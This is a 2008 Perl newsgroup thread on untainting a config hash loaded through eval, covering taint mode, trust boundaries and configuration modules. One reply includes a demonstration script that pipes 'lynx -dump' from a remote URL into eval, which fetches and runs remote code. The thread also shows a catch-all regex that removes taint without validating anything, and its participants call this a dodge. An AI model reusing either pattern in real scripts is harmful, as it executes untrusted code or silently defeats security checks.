untaint a hash eval

Discussion in 'Perl Misc' started by Daniel Parry, Apr 26, 2008.

  1. Daniel Parry

    Daniel Parry Guest

    Hello all,

    I was wondering if anyone could give me some pointers as to the
    best way to untaint the assocative array %config in the following
    snippet please? Do I need to check its content against a suitable
    regexp somehow? Or maybe I should use another method to read in
    the file contents, though I'd prefer to not to have to include
    any cpan libraries...

    no strict;
    if ( open( CONFIG, "$configFile" ) ) {
    my $readConfig = "";
    while ( <CONFIG> ) { $readConfig .= $_; }
    eval $readConfig;
    %config = %{ $userconfig };
    close( CONFIG );
    }
    else {
    die "Could not read config file: $configFile!";
    }
    use strict;

    Thanks in advance for any help!

    Best wishes,

    Daniel
     
    Daniel Parry, Apr 26, 2008
    #1
    1. Advertising

  2. Daniel Parry

    Ben Bullock Guest

    On Sat, 26 Apr 2008 11:49:21 +0000, Daniel Parry wrote:

    > Hello all,
    >
    > I was wondering if anyone could give me some pointers as to the best way
    > to untaint the assocative array %config in the following snippet please?
    > Do I need to check its content against a suitable regexp somehow? Or
    > maybe I should use another method to read in the file contents, though
    > I'd prefer to not to have to include any cpan libraries...


    The documentation is in perldoc perlsec:

    "Values may be untainted by using them as keys in a hash; otherwise the
    only way to bypass the tainting mechanism is by referencing subpatterns
    from a regular expression match."

    > no strict;
    > if ( open( CONFIG, "$configFile" ) ) {
    > my $readConfig = "";
    > while ( <CONFIG> ) { $readConfig .= $_; } eval $readConfig;


    Assuming you actually care about the security of your script, the
    untainting should be done before you "eval" the thing you've read in.
    Otherwise, the above is probably the single most insecure thing you can
    do in a Perl script.

    As described above, to blanket untaint $readConfig, just match it against
    any regular expression and use any substring match. Here is an example
    program:

    #!/usr/bin/perl -T
    use warnings;
    use strict;
    use Scalar::Util 'tainted';
    my $try;
    sub print_tainted
    {
    $try++;
    my ($what) = @_;
    print "$try: ";
    print "not " unless (tainted($what));
    print "tainted\n" ;
    }
    my $job = <STDIN>;
    print_tainted($job);
    $job =~ /^(.*)$/s;
    $job = $1;
    print_tainted($job);
     
    Ben Bullock, Apr 26, 2008
    #2
    1. Advertising

  3. Daniel Parry <> wrote in news:slrng165m1.rv.ddp23
    @pip.srcf.ucam.org:

    > I was wondering if anyone could give me some pointers as to the
    > best way to untaint the assocative array %config in the following
    > snippet please? Do I need to check its content against a suitable
    > regexp somehow?


    Don't bother. Use a proper configuration parser module.

    > Or maybe I should use another method to read in
    > the file contents, though I'd prefer to not to have to include
    > any cpan libraries...


    Why not? I have not yet seen a valid reason.

    > no strict;
    > if ( open( CONFIG, "$configFile" ) ) {


    Don't quote $configFile. This is a FAQ entry:

    perldoc -q always

    > my $readConfig = "";


    No need to initialize.

    > while ( <CONFIG> ) { $readConfig .= $_; }
    > eval $readConfig;
    > %config = %{ $userconfig };
    > close( CONFIG );



    For effective slurping:

    use File::Slurp;
    my $readConfig = read_file $configFile;

    If, for some unfathomable reason, you are going to avoid File::Slurp,

    sub slurp_file {
    my ($infile) = @_;

    open my $IN, '<', $infile or return;

    my $data;

    do { local $/; $$data_ref = <$IN> };

    close $IN or return;

    return \$data;
    }

    Sinan


    --
    A. Sinan Unur <>
    (remove .invalid and reverse each component for email address)

    comp.lang.perl.misc guidelines on the WWW:
    http://www.rehabitation.com/clpmisc/
     
    A. Sinan Unur, Apr 26, 2008
    #3
  4. Ben Bullock wrote:
    > On Sat, 26 Apr 2008 11:49:21 +0000, Daniel Parry wrote:
    >> I was wondering if anyone could give me some pointers as to the best way
    >> to untaint the assocative array %config in the following snippet please?


    <snip>

    >> if ( open( CONFIG, "$configFile" ) ) {
    >> my $readConfig = "";
    >> while ( <CONFIG> ) { $readConfig .= $_; } eval $readConfig;

    >
    > Assuming you actually care about the security of your script, the
    > untainting should be done before you "eval" the thing you've read in.
    > Otherwise, the above is probably the single most insecure thing you can
    > do in a Perl script.


    Maybe so, but...

    > my $job = <STDIN>;
    > print_tainted($job);
    > $job =~ /^(.*)$/s;
    > $job = $1;


    you don't seriously mean that that code would make $job much less
    insecure, do you? The regex accepts anything. You'd better choose a
    regex that limits the allowed characters as far as possible.

    --
    Gunnar Hjalmarsson
    Email: http://www.gunnar.cc/cgi-bin/contact.pl
     
    Gunnar Hjalmarsson, Apr 26, 2008
    #4
  5. Daniel Parry

    Daniel Parry Guest

    Ben, Gunnar, Sinan,

    Many thanks, really appreciate your help!

    Best wishes,

    Daniel
     
    Daniel Parry, Apr 26, 2008
    #5
  6. Daniel Parry

    Ben Bullock Guest

    On Sat, 26 Apr 2008 16:17:52 +0200, Gunnar Hjalmarsson wrote:

    > Ben Bullock wrote:


    >> my $job = <STDIN>;
    >> print_tainted($job);
    >> $job =~ /^(.*)$/s;
    >> $job = $1;

    >
    > you don't seriously mean that that code would make $job much less
    > insecure, do you?


    No, I didn't say that. This just removes the taint flag without doing
    anything to the string, so there is no absolutely change in security.
    It's just a "dodge". Hopefully the original poster understood that, but
    thank you for clarifying it.
     
    Ben Bullock, Apr 26, 2008
    #6
  7. Daniel Parry

    Guest

    Daniel Parry <> wrote:
    > Hello all,
    >
    > I was wondering if anyone could give me some pointers as to the
    > best way to untaint the assocative array %config in the following
    > snippet please? Do I need to check its content against a suitable
    > regexp somehow?


    Yes. Without knowing more, we have no idea what regexp would be suitable
    for the job.

    Xho

    --
    -------------------- http://NewsReader.Com/ --------------------
    The costs of publication of this article were defrayed in part by the
    payment of page charges. This article must therefore be hereby marked
    advertisement in accordance with 18 U.S.C. Section 1734 solely to indicate
    this fact.
     
    , Apr 27, 2008
    #7
  8. Daniel Parry

    Guest

    Ben Bullock <> wrote:
    >
    > > no strict;
    > > if ( open( CONFIG, "$configFile" ) ) {
    > > my $readConfig = "";
    > > while ( <CONFIG> ) { $readConfig .= $_; } eval $readConfig;

    >
    > Assuming you actually care about the security of your script, the
    > untainting should be done before you "eval" the thing you've read in.
    > Otherwise, the above is probably the single most insecure thing you can
    > do in a Perl script.


    Hardly. It reads and executes some file, presumably from some disk. (He
    doesn't show us how that file name was obtained, which is a bit
    disconcerting, but anyway...) But what is his initial program itself?
    Some file from some disk, most likely. If the evil-doer can put something
    malicious in one file on the disk, why can't they put something malicious
    into the main file and be done with it? Sure, one could arrange it such
    that one of the files is secure and the other isn't, but then again one
    could arrange it so that neither file is secure.

    Xho

    --
    -------------------- http://NewsReader.Com/ --------------------
    The costs of publication of this article were defrayed in part by the
    payment of page charges. This article must therefore be hereby marked
    advertisement in accordance with 18 U.S.C. Section 1734 solely to indicate
    this fact.
     
    , Apr 27, 2008
    #8
  9. Daniel Parry

    Ben Bullock Guest

    On Sun, 27 Apr 2008 00:45:39 +0000, xhoster wrote:

    > Ben Bullock <> wrote:


    >> Assuming you actually care about the security of your script, the
    >> untainting should be done before you "eval" the thing you've read in.
    >> Otherwise, the above is probably the single most insecure thing you can
    >> do in a Perl script.

    >
    > Hardly. It reads and executes some file, presumably from some disk.


    #!/usr/bin/perl
    use warnings;
    use strict;
    my $configFile = "lynx -dump http://www.xhoster.com/some.pl |";
    if ( open( CONFIG, "$configFile" ) ) {
    my $readConfig = "";
    while ( <CONFIG> ) { $readConfig .= $_; }
    eval $readConfig;
    }

    > But what is his initial program itself?
    > Some file from some disk, most likely. If the evil-doer can put
    > something malicious in one file on the disk, why can't they put
    > something malicious into the main file and be done with it?


    If the evil-doer has control of the value of $configFile, he can do
    anything which the script has the power to do, and the point where the
    actual damage occurs is the "eval" statement, not the reading of the file
    or opening the file.

    > Sure, one
    > could arrange it such that one of the files is secure and the other
    > isn't, but then again one could arrange it so that neither file is
    > secure.


    If you can think of anything less secure than eval'ing completely
    arbitrary code without checking it, please tell me what it is, otherwise
    I'll stick with my initial opinion.
     
    Ben Bullock, Apr 27, 2008
    #9
  10. On 2008-04-27 02:09, Ben Bullock <> wrote:
    > On Sun, 27 Apr 2008 00:45:39 +0000, xhoster wrote:
    >> Ben Bullock <> wrote:
    >>> Assuming you actually care about the security of your script, the
    >>> untainting should be done before you "eval" the thing you've read in.
    >>> Otherwise, the above is probably the single most insecure thing you can
    >>> do in a Perl script.

    >>
    >> Hardly. It reads and executes some file, presumably from some disk.

    >
    > #!/usr/bin/perl
    > use warnings;
    > use strict;
    > my $configFile = "lynx -dump http://www.xhoster.com/some.pl |";
    > if ( open( CONFIG, "$configFile" ) ) {
    > my $readConfig = "";
    > while ( <CONFIG> ) { $readConfig .= $_; }
    > eval $readConfig;
    > }


    This is about the same as:

    wget ://www.xhoster.com/some.pl
    perl some.pl


    >> But what is his initial program itself?
    >> Some file from some disk, most likely. If the evil-doer can put
    >> something malicious in one file on the disk, why can't they put
    >> something malicious into the main file and be done with it?

    >
    > If the evil-doer has control of the value of $configFile, he can do
    > anything which the script has the power to do, and the point where the
    > actual damage occurs is the "eval" statement, not the reading of the file
    > or opening the file.


    Xho's point was that if the evildoer has control of the content of the
    script he can do exactly the same and that there is little reason to
    assume that the config file is more prone to tampering by an evildoer
    than the script itself if both are read from the same source.

    To be more precise, there are three entities involved:

    A) Who controls the contents of the script

    B) Who controls the contents of the config file

    C) Who runs the script.

    In the case of the eval'd config file, C has to trust both A and B.

    In the case where the config file is not eval'd, C has to trust only A
    (well, that's simplified - depending on the function of the script,
    running it with a completely unverified config file may still be
    extremely dangerous).
    This is undoubtedly an improvement, but only in the case where C trusts
    A but not B. I think the other case (C trusts B (for the simple reason
    that C *is* B), but not A) is more frequent.

    hp
     
    Peter J. Holzer, Apr 29, 2008
    #10
    1. Advertising

Want to reply to this thread or ask your own question?

It takes just 2 minutes to sign up (and it's free!). Just click the sign up button to choose a username and then you can ask your own questions on the forum.
Similar Threads
  1. rp
    Replies:
    1
    Views:
    582
    red floyd
    Nov 10, 2011
  2. Ara.T.Howard

    1.8,frozen, and untaint

    Ara.T.Howard, Sep 25, 2003, in forum: Ruby
    Replies:
    1
    Views:
    109
  3. Randy Lawrence

    Full-featured untaint() method for Ruby?

    Randy Lawrence, Jun 21, 2004, in forum: Ruby
    Replies:
    8
    Views:
    357
    Paul Brannan
    Jun 22, 2004
  4. Bill Kelly

    1.8.4 untaint behavior

    Bill Kelly, Jan 17, 2006, in forum: Ruby
    Replies:
    3
    Views:
    102
    Bill Kelly
    Jan 18, 2006
  5. Flagstaff

    rmtree and untaint

    Flagstaff, Jan 3, 2004, in forum: Perl Misc
    Replies:
    4
    Views:
    133
    Flagstaff
    Jan 5, 2004
Loading...

Share This Page